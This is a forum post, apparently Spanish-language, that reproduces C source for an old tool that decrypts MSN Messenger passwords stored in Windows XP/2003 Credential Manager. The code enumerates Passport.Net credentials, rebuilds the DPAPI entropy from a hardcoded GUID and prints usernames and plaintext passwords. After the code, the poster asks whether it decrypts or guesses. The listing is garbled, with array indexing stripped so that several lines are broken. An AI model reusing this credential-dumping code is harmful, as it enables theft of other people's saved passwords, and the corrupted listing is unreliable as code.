/*
* MSN Messenger Password Decrypter for Windows XP & 2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
* - Gregory R. Panakkal
*
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesion *
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesion */
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "Crypt32.lib")
//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]
typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;
typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;
typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;
////////////////////////////////////////////////////////////////////
typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
////////////////////////////////////////////////////////////////////
void showBanner()
{
printf("MSN Messenger Password Decrypter for Windows XP/2003\n");
printf(" - Gregory R. Panakkal,
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesion \n\n");
}
////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL *CredentialCollection = NULL;
DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
//used for filling up blobEntropy
char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
short int EntropyData[37];
short int tmp;
HMODULE hDLL;
DWORD Count, i;
showBanner();
//Locate CredEnumerate, CredRead, CredFree from advapi32.dll
if( hDLL = LoadLibrary("advapi32.dll") )
{
pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");
if( pfCredEnumerateA == NULL||
pfCredReadA == NULL ||
pfCredFree == NULL )
{
printf("error!\n");
return -1;
}
}
//Get an array of 'credential', satisfying the filter
pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);
if( Count ) //usually this value is only 1
{
//Calculate Entropy Data
for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37
{
tmp = (short int)szEntropyStringSeed
;
tmp <<= 2;
EntropyData = tmp;
}
for(i=0; i<Count; i++)
{
blobEntropy.pbData = (BYTE *)&EntropyData;
blobEntropy.cbData = 74; //sizeof(EntropyData)
blobCrypt.pbData = CredentialCollection->CredentialBlob;
blobCrypt.cbData = CredentialCollection->CredentialBlobSize;
CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
printf("Username : %s\n", CredentialCollection->UserName);
printf("Password : %ls\n\n", blobPlainText.pbData);
}
}
pfCredFree(CredentialCollection);
}
Aqlguien podria traducirme este codigo eke no acabo de entender si desencripto o intenta convinaciones . . .
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